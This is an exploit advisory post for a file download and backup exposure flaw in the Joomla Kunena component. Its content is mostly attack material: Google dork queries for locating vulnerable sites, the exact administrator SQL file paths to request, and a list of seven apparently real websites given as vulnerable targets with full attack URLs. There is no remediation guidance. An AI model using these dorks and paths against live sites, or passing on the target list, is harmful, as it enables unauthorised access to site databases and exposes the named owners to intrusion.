Joomla com_kunena Components Database Backup Arbitrary File Download Vulnerability

2018.11.23
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

################################################################################################# # Exploit Title : Joomla com_kunena Components Database Backup Arbitrary File Download Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 23/11/2018 # Vendor Homepage : extensions.joomla.org/extension/kunena/ ~ kunena.org/download # Tested On : Windows and Linux # Category : WebApps # Price : 10,00 Euro # Version : Kunena 1.0 and 1.5 ~ 5.1.1 / 3.8 # Software Purchase and Download Link : kunena.org/download/plugins/product/powered-by-remover kunena.org/download/templates/product/blue-eagle-5 # Google Dorks : inurl:''/administrator/components/com_kunena/install/sql/'' inurl:''/index.php?option=com_kunena'' inurl:''/index.php?option=com_kunena&view=topic&catid='' # Exploit Risk : Medium # CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ] CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ] CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ] ################################################################################################# # Admin Panel Login Path : /administrator/ # Exploit : /administrator/components/com_kunena/install/sql/migrate/mysql/fireboard.sql /administrator/components/com_kunena/install/sql/migrate/mysql/joomlaboard.sql /administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql ################################################################################################# # Example Vulnerable Sites => [+] bedrijfstaalcursussen.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql [+] abdillikoyu.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql [+] werkenmetdbcs.nza.nl/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql [+] djconstrucao.com.br/apagar/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql [+] vir.nw.ru/test/vir.nw/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql [+] xerte.org.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql [+] bargainbusinessbuyers.co.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################


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